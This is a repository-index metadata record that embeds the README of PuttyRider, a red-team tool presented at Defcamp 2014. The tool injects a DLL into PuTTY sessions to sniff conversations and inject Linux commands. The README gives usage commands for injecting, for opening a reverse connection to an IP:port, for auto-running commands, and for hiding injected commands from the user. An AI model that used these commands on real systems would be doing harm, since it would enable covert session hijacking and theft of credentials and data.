{"id":13826500,"url":"https://github.com/seastorm/puttyrider","last_synced_at":"2026-03-11T20:02:16.854Z","repository":{"id":24335174,"uuid":"27732576","full_name":"seastorm/PuttyRider","owner":"seastorm","description":"Hijack Putty sessions in order to sniff conversation and inject Linux commands.","archived":false,"fork":false,"pushed_at":"2014-12-14T09:47:51.000Z","size":208,"stargazers_count":364,"open_issues_count":2,"forks_count":75,"subscribers_count":29,"default_branch":"master","last_synced_at":"2025-07-09T00:42:20.280Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":null,"language":"C","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"other","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/seastorm.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE.txt","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null}},"created_at":"2014-12-08T20:04:59.000Z","updated_at":"2025-05-21T20:44:21.000Z","dependencies_parsed_at":"2022-08-29T14:11:41.335Z","dependency_job_id":null,"html_url":"https://github.com/seastorm/PuttyRider","commit_stats":null,"previous_names":[],"tags_count":1,"template":false,"template_full_name":null,"purl":"pkg:github/seastorm/PuttyRider","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/seastorm%2FPuttyRider","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/seastorm%2FPuttyRider/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/seastorm%2FPuttyRider/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/seastorm%2FPuttyRider/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/seastorm","download_url":"https://codeload.github.com/seastorm/PuttyRider/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/seastorm%2FPuttyRider/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":30398175,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-03-11T18:46:22.935Z","status":"ssl_error","status_checked_at":"2026-03-11T18:46:17.045Z","response_time":84,"last_error":"SSL_read: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2024-08-04T09:01:39.124Z","updated_at":"2026-03-11T20:02:16.838Z","avatar_url":"https://github.com/seastorm.png","language":"C","funding_links":[],"categories":["\u003ca id=\"7bf0f5839fb2827fdc1b93ae6ac7f53d\"\u003e\u003c/a\u003e工具"],"sub_categories":["\u003ca id=\"32739127f0c38d61b14448c66a797098\"\u003e\u003c/a\u003e嗅探\u0026\u0026Sniff"],"readme":"PuttyRider\n==========\nHijack Putty sessions in order to sniff conversation and inject Linux commands.\n\nDownload\n========\n[PuttyRider-bin.zip](https://github.com/seastorm/PuttyRider/releases/download/0.1/PuttyRider-bin.zip)\n\n\nDocumentation\n=============\n* [Defcamp 2014 presentation - pdf](http://defcamp.ro/dc14/AdrianFurtuna.pdf)\n* [Defcamp 2014 presentation - video](https://www.youtube.com/watch?v=nfhzoFPGUhg\u0026list=UUc05xgnkf4YZEdn3zBJRFkA)\n\nExamples\n========\nList existing Putty processes and their status (injected / not injected)\n\n    PuttyRider.exe -l\n\nInject DLL into the first found putty.exe and initiate a reverse connection from DLL to my IP:Port, then exit PuttyRider.exe.\n\n    PuttyRider.exe -p 0 -r 192.168.0.55:8080\n\nRun in background and wait for new Putty processes. Inject in any new putty.exe and write all conversations in local files. \n\n    PuttyRider.exe -w -f\n\nEject PuttyRider.dll from all Putty processes where it is already injected. \n(Don't forget to kill PuttyRider.exe if running in -w mode, otherwise it will reinject again.)\n\n    PuttyRider.exe -x\n    \nUsage\n=====\n\tOperation modes:\n\t\t-l\t\tList the running Putty processes and their connections\n\t\t-w\t\tInject in all existing Putty sessions and wait for new sessions\n\t\t\t\tto inject in those also\n\t\t-p PID  Inject only in existing Putty session identified by PID.\n\t\t\t\tIf PID==0, inject in the first Putty found\n\t\t-x\t\tCleanup. Remove the DLL from all running Putty instances\n\t\t-d\t\tDebug mode. Only works with -p mode\n\t\t-c CMD  Automatically execute a Linux command after successful injection\n\t\t\t\tPuttyRider will remove trailing spaces and '\u0026' character from CMD\n\t\t\t\tPuttyRider will add: \" 1\u003e/dev/null 2\u003e/dev/null \u0026\" to CMD\n\t\t-h\t\tPrint this help\n\n\tOutput modes:\n\t\t-f\t\t\tWrite all Putty conversation to a file in the local directory.\n\t\t\t\t\tThe filename will have the PID of current putty.exe appended\n\t\t-r IP:PORT\tInitiate a reverse connection to the specified machine and\n\t\t\t\t\tstart an interactive session.\n\n\tInteractive commands (after you receive a reverse connection):\n\t\t!status\t\tSee if the Putty window is connected to user input\n\t\t!discon\t\tDisconnect the main Putty window so it won't display anything\n\t\t\t\t\tThis is useful to send commands without the user to notice\n\t\t!recon\t\tReconnect the Putty window to its normal operation mode\n\t\tCMD\t\t\tLinux shell commands\n\t\t!exit\t\tTerminate this connection\n\t\t!help\t\tDisplay help for client connection\n\n\t\t\nCompiling\n=========\nUse Visual Studio Command Prompt:\n\n\tnmake main dll\n\nAcknowledgements\n================\nThanks to Brett Moore of Insomnia Security for his proof of concept [PuttyHijack](https://www.insomniasec.com/downloads/tools/PuttyHijackV1.0.rar)\n\n\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fseastorm%2Fputtyrider","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fseastorm%2Fputtyrider","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fseastorm%2Fputtyrider/lists"}